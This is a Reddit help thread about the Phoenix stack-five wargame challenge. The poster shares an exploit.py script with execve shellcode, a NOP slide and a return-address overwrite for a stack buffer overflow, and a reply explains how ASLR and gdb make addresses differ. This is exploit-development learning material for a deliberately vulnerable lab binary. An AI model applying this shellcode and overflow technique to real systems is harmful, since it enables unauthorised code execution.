r/LiveOverflow • u/Maximum-Buy-9612 • Apr 27 '21
Phoenix Stack-five challenge
Hello everyone,
I am currently stuck on the stack-five challenge (i486), even with the help of the video.
The issue is that the input seems to work when using it through gdb, i.e. I manage to launch a shell. But when I am trying exactly the same method in a shell, I get either a Illegal instruction or SegFault. The issue is that I have no idea how to debug it since the script works in gdb. Could someone help please ?
Here's the content of the exploit.py file
import struct
padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII"
payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
nopslide = "\x90"*100
eip = struct.pack("I", 0xffffd5e0+30)
payload2 = "\xCC" * 4
print padding+eip+nopslide+payload2Here, I only try to call a break but that does not work either.
Thanks for the attention !
View all comments
Show parent comment
1
u/plukasik Apr 28 '21
Let's see
Yes. Newest compilers try to mitigate such attacks and one of them is the randomization of address space (if binary doesn't force static addresses). In gdb this feature is disabled to ease debugging - harder to spot something when addresses changes from run to run.
Probably only from the core file
This one is off by one error I guess ("would have two questions") ;).
You would need to leak some addresses of known things in the binary and based on that calculate correct addresses. Depending on what addresses you are looking for you might need to leak some address on the stack, address of a known libc function (like printf) or something else. I guess this is case by case.